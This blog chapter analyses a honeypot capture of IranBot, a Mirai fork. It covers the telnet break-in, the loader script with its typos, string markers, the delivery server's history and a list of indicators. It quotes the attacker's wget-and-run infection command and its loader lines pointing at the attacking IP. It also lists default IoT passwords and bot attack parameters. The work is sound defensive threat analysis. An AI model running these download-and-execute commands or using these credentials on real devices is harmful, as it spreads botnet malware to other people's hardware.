ES EN
Index

IranBot · Chapter 21

Introduced by its enemy

An automated scanner found the honeypot's telnet and, eighteen seconds later, there was a binary inside. The password was «telnet». The loader it dropped comes with two operator typos, one of which breaks an entire infection. And when I finally put a name to the family —IranBot, a Mirai fork with a public dossier— it turned out that name had been written on this blog since August: a rival bot had put it there, in the list of competitors it uninstalls on arrival.

The infection fits in one line, because it lasted under twenty seconds and holds no mystery at all: factory password, a script, fourteen binaries. The interesting part came afterwards, when I went to put a name to it.

Because when I finally knew what it was called, it turned out that name had been written on this blog since August. It didn't put it there. A rival bug did, eighteen days earlier, while trying to evict it from a phone they both wanted.

01Under twenty seconds

There was no courtship. An IP —176.65.139.206— looked in on the honeypot's Telnet on the morning of 10 September and, in fifteen seconds, opened seven connections in a row. It wasn't its first time past here: eleven days earlier it had called the honeypot's SSH, held on for four seconds and left without trying anything.

  1. 00:00First contact. Opens and closes without saying a word. And again.
  2. 00:05Third connection, and this one does try: root / icatch99. Fails. It's a fixed credential on LILIN recorders, which entered the IoT botnet repertoire with the 2020 LILIN 0-day.
  3. 00:16Seventh connection, and this one gets in. Username telnet, password telnet.
  4. 00:18Pastes the infection command and the binary is already inside.

Eighteen seconds from the first packet to the malware downloaded. It's an automated scanner sweeping services —SSH in August, telnet now—: it found an open port, tried what it had to try and ran its script. It didn't even push hard: of the seven connections, only two got as far as typing a password. Nobody was watching.

The command, exactly as it arrived — all on one line:

what it pasted into the telnet
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget hxxp://176.65.139[.]206/cat.sh
chmod cat.sh
sh cat.sh

That string of cds at the start is a Mirai house mark: it tries directories one after another until it finds one it can write to, because on a cheap router /tmp may not exist, may be full, or may be read-only. What's less of a house mark is that chmod cat.sh without saying which permissions. chmod needs a mode and they don't pass one, so the command returns an error. It doesn't matter, because they launch the script with sh, which needs no execute permission — and that's precisely why the typo has been sitting there who knows how long without anyone noticing. Hold on to it, it isn't the only one.

One box does all the workLook at the IP the bug downloads from: it's the same one that attacked. There's no division of labour. In KHserver we saw the sensible version of this — one IP spends its time scanning half the internet and fills up with abuse reports, and a different one, clean and discreet, keeps the goods for the victims who already bit. They burn one and protect the other. Not here: the same machine scans, attacks and serves the files. All the eggs in one basket, and that basket had already collected 560 abuse reports by the day my turn came.

02A loader with two typos

cat.sh weighs 1,903 bytes and is as simple as it gets: fourteen download lines, one per CPU architecture.

cat.sh · trimmed
wget hxxp://176.65.139[.]206/iran.x86_64 -O x86_64 || curl … ; chmod 777 x86_64; ./x86_64 catloader;
wget hxxp://176.65.139[.]206/iran.mips   -O mips   || curl … ; chmod 777 mips;   ./mips   catloader;
# … and so on with: aarch64 · m68k · mipsel · powerpc · sparc · sh4 · arc
#                   i486 · armv4l · armv5l · armv6l · armv7l   (fourteen in total)

The usual shotgun: fire all fourteen and let whichever one matches the victim's CPU start up; the other thirteen fail — and one didn't even get downloaded. It tries wget and, failing that, curl — belt and braces, like Sysorbit's stubborn cascade. And it launches each binary with an argument, catloader, which is the campaign tag: the bot will report it back to base so they know which route it came in by. In Cling that tag was telnet; here it's catloader.

And now the second typo, which does do damage:

the aarch64 line
wget …/iran.aarch64 -O aarch64 ; chmod 777 aarch64; ./aarch64catloader;
                                                            ↑ the space is missing

They swallowed the space between the file and its argument. So on any device with an aarch64 CPU —and there are plenty: modern routers, cameras, Android TV boxes— the bug downloads, gets its permissions… and then tries to run a file called aarch64catloader that doesn't exist. That infection never starts. The operator is losing an entire architecture over one space.

And the punchline: it isn't a third failure, it's the same oneAmong the six files the honeypot saved there's one that isn't a binary: it's 276 bytes of HTML, the default error page of an Apache/2.4.58 (Ubuntu). A 404. For which architecture? The aarch64 — the same one with the missing space. So in this campaign the typo never even got to matter: the file wasn't on the server. An aarch64 device would have downloaded 276 bytes of HTML, given them chmod 777 and tried to run something that doesn't exist, twice over.

That's the observation: one of the fourteen wasn't available at the time of the attack. And separately, the reading, which comes back at the end of the chapter: it fits with them handling the directory live that morning, while their bot was infecting.

03The prints, and a name

First came the usual: take the hash of the 64-bit binary and ask VirusTotal. Twenty-three engines out of seventy-five called it bad the day I looked, and most said the same thing: trojan.mirai, gafgyt. The rest, generics — «malicious», «suspicious ELF». It wasn't on MalwareBazaar: nobody had ever uploaded it.

At that point the reflex is to file it as «another Mirai» and move on. But whoever compiles a fork leaves prints of their own, and those are specific. I pulled the strings out of the binary:

strings · a selection
Not a mirai at all                     # the author's joke
Death to israel                        # a slogan, typed by hand
!selfrep telnet    !selfrep realtek    # the two self-replication orders
selfrep.realtek                        # how it tags itself when it spreads alone
176.65.139.206
psize=  srcport=  httpmode=  gport=  gre_proto=  msg=  usleep=
root · user · postgres · xc3511 · 888888 · default · password · 12345
5up · klv1234 · anko · 7ujMko0admin · ikwb · dreambox

That Not a mirai at all is the author needling whoever opens the file. And it's exactly what gives it away, because it's documented: Nokia Deepfield published a dossier on this family, and there they are — the joke, the slogan, the seven exact parameters, the two self-replication orders, the selfrep.realtek marker, and even the delivery naming convention: iran.<architecture>, which is literally what my cat.sh downloads.

They all match. I checked it in two different binaries from the same package as well, the x86-64 and the m68k, which carry exactly the same strings. It isn't a generic Mirai: it's a specific fork, with a name of its own and a public dossier. It's called IranBot.

About the name, and how far it goesThe author named his files iran.* and left a political slogan inside the binary. That is what he wrote, and it's good for exactly one thing: identifying the family. It doesn't say where it comes from, who pays for it, or where it's run from. Text inside an executable is as cheap to put there as it is to lie with, and anyone who wants to mislead starts precisely there. Here it stays as a brand, and I don't stretch it a millimetre further.

What did amuse me was going back to VirusTotal with the name in hand: of the twenty-three engines that detect it, not one calls it «IranBot». They all file it as run-of-the-mill Mirai or Gafgyt. Its author wrote inside the binary that the thing «is not a mirai at all», and twenty-three antivirus engines have replied that it is.

04It was already here

With the name in hand I did what I always do before claiming anything: check whether it rang a bell. And I searched inside my own blog too, without any hope at all.

It's there. In chapter 7, published on 23 August — eighteen days before this came in over telnet.

chapter 7 · the first thing Sysorbit does on installing
pm uninstall com.manji.bot                2>/dev/null
pm uninstall com.iranbot.load             2>/dev/null   ← here
pm uninstall com.android.log_handler_v2   2>/dev/null
pm uninstall com.oreo.mcflurry            2>/dev/null
# … and seven more

That was Sysorbit, an Android bot that came in through the debug cable. The first thing it does on arrival is evict the competition: it walks a list of rival bots and uninstalls them one by one to keep the device to itself. The same war between criminals I'd already seen with RedTail, but on Android.

And on that list of enemies was the name I had just worked out on my own, eighteen days later. I had it published and didn't know.

Careful with what this proves, exactlyWhat matches is the name. com.iranbot.load is an Android package; what came in over my telnet is a Linux ELF, and IranBot's public dossier describes binaries for routers and IoT gadgets, not for phones. I can't claim they're the same thing. It could be the same author with two branches, it could be someone who copied the name —it happens constantly— or it could be coincidence. What is a fact is that back in August somebody already considered an «iranbot» enough of a rival to go hunting for it device by device.

There's a second coincidence, and this one can be measured. Sysorbit's command centre lived at 176.65.139.248. The one that attacked me now is 176.65.139.206. The same block of 256 addresses.

I've written about that block before, in chapter 11, with a precision that comes in handy now: the range is registered to PFCLOUD-NET, but the one announcing it to the internet is a different company, AS219502 · Storm Industries LLC. Two things that are very easy to confuse, and depending which one you ask about you get an answer or nothing at all.

That said, sharing a block is not sharing an owner. A /24 from a provider like that carries tenants with nothing to do with each other, and I've already had to verify that by enumerating one. All this coincidence tells us is where this kind of hosting gets bought — and the answer has been the same address for quite a few chapters now.

05The box empties out the same day

A couple of hours after the attack I went back to look at the server everything had been downloaded from. I asked for the root directory index:

the delivery index, a couple of hours later
Index of /

[ICO]  Name     Last modified     Size     Description
────────────────────────────────────────────────────────

Apache/2.4.58 (Ubuntu) Server at 176.65.139.206 Port 80

Empty. No cat.sh, not a single iran.*. It could be that they'd only switched off the directory listing and the files were still there, so I asked for one by its exact name: 404. Genuinely deleted.

Shodan records the size of that index page every time it goes past, and that number rises and falls with how many files are listed. Its history tells the story on its own:

index size · the first three rows, from Shodan's passes
30 August       746 B     # one folder, bins/
 9 September    556 B     # they empty it
10 September    932 B     # bins/ again, and a script — but NOT mine
──────────────────────────────────────────────
10 September    empty     # this one isn't Shodan: it's my own check

That 932 made me doubt, so I went to look at exactly what it listed. No cat.sh and not a single iran.*: what Shodan saw that night was the usual folder and a script from a different campaign. And the arithmetic works to the byte — on top of the empty 556, one folder row and one file row add up to exactly those 932.

That directory gets handled daily. And my files lived inside a window shorter than I thought: they weren't there yet when Shodan went past, and they were gone by the time I looked. Nor was I the first to have one: the sample was already on VirusTotal a good while before it reached my honeypot. It also fits the 404 the honeypot saved during the attack itself: even then, one of the fourteen architectures was missing.

And there's something else I wasn't expecting, and it's an absence. URLhaus —the public catalogue where malware-serving addresses get reported— has thirty-four from that same box, the most recent from 7 September. None is cat.sh. None is an iran.*. Nor is it on MalwareBazaar, where none of the five appears either. A record does exist —all five files reached VirusTotal that same night, with the iran.* names on them, so somebody else caught them too—. What doesn't exist is anyone who has told the story: not a reported URL, not an entry in the dossier's indicators, not an analysis. Of this wave, as far as I've been able to find, there is no public analysis but this chapter.

What this does mean, and what it doesn'tIt means the script the scanner pastes is gone: anything trying to fetch cat.sh gets a 404. Careful stretching that, because the installed bot doesn't spread with that script: for that it carries its own paths inside —/telnet.sh, /mips and /mipsel—, and whether those are still there I don't know. Finding out would mean asking the attacker's server for files, and that isn't done. And it certainly doesn't mean the botnet is switched off. The delivery server and the command centre are two different services, and about the second one I still know nothing — not even where it is. That's the next chapter.

And who is the box? Passive OSINT, third-party databases, without touching it:

ItemValue
Abuse reports100 % abuse confidence · 560 reports (AbuseIPDB, 10 Sep 2026)
Seen since29 August (Shodan)
Open ports22 · 80 · 8098
Tagsopen-dir · scanner
Range176.65.139.0/24 · registered to PFCLOUD-NET · announced by AS219502 · Storm Industries LLC (NL)
A stumble that's now happened to me twiceShodan said that IP belonged to another company, in another country. It's false — or rather, it's out of date: the authoritative registry says AS219502, Storm Industries, Netherlands. In abuse-proof hosting ranges the data rotates fast and the search engine keeps the old snapshot. The ASN gets checked in the registry, not in the search engine. That's twice now I've had to remind myself.

06The specimen

The honeypot saved six files: the loader script, four binaries and the 404. Of the fourteen architectures, the honeypot got as far as requesting five before the session was cut — four binaries and a 404. The other nine were never requested.

SPECIMEN 007 · ELF ×4 + loader

IranBot · Mirai fork VirusTotal calls it trojan.mirai — it has a name of its own

◈ LIVE · DO NOT RUN
Type
static ELFs · stripped · x86-64 · m68k · MIPS · MIPS little-endian
Size
164,272 B (x86-64) · 182,212 B (m68k) · 209,344 B (mips) · 211,616 B (mipsel)
Delivery
14-architecture shotgun over Telnet · telnet/telnet
Campaign tag
catloader (the argument it's launched with)
Function
DDoS bot with self-replication — torn apart in Ch. 22
C2
not identified yet — uncovered in Ch. 22

07Indicators (IOCs)

From the infection. The ones from inside the bug —starting with who it calls— are in the next chapter.

TypeValue
Attacking IP and delivery server176.65.139.206 (:80 Apache · :22 SSH) · AS219502 Storm Industries LLC
Delivery URLshxxp://176.65.139[.]206/cat.sh
hxxp://176.65.139[.]206/iran.<arch> (14 architectures)
hxxp://176.65.139[.]206/telnet.sh · hxxp://176.65.139[.]206/mips · hxxp://176.65.139[.]206/mipsel
(the bot builds all three at runtime: it carries the path inside, and takes the host from the same address it uses for command)
Credentials usedtelnet/telnet (success) · root/icatch99 (failure)
Infection chaincd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://<ip>/cat.sh; chmod cat.sh; sh cat.sh;
Campaign tag (argv)catloader
Fixed User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 — used by its httpmode= method
Ports it carries hardcoded2000 (command) · 9034/udp (the Realtek one) · 23 (its telnet scanner)
Family markers (strings)Not a mirai at all · Death to israel · selfrep.realtek
Orders and parameters!selfrep telnet · !selfrep realtek · psize= srcport= httpmode= gport= gre_proto= msg= usleep=
Self-replication vectortelnet with factory passwords + Realtek Jungle SDK (CVE-2021-35394, UDP 9034)when the operator orders it, not on its own
SHA-256 · loader6a4503094d0031ae36c8b27cc36696087831901dfa421675ccb7509c9d7e58da (cat.sh, 1,903 B)
SHA-256 · binariesf35bf04216d14180f9d28f6770a5722557f4a979d746f4ef664419363d0b755b (x86-64)
3f21d6f8621e38d2bc923dfaaf0861887c6ca0def522ae4dea0f9b840bf1d39a (m68k)
064d93495573a536517fa7ddf9fb6d3c4cddd4c7fdc61d4f90d12629cad690e6 (mips)
ce452891a6e017f2523f8c7005df1180003ab3e96916774efb432bcc2a8e657f (mipsel)

The hashes expire the moment the operator recompiles, and he does. What holds is the rest of the table: catloader, Not a mirai at all and the chain of cds are still there in the next build.

To be continued — with a hole the size of a house. I have the bug, I have who delivered it and I have its name. What I don't have is who it calls. I looked for its command centre's address hidden inside the binary and didn't find it: none of the command centres the public dossier documents, not a domain in plain text, not the number anywhere. Four routes, and none led anywhere — until it dawned on me that what I needed was another binary, and not mine. Spoiling the ending: the answer was in the dump up above, and I walked right past it. In Chapter 22. 🍯

Comments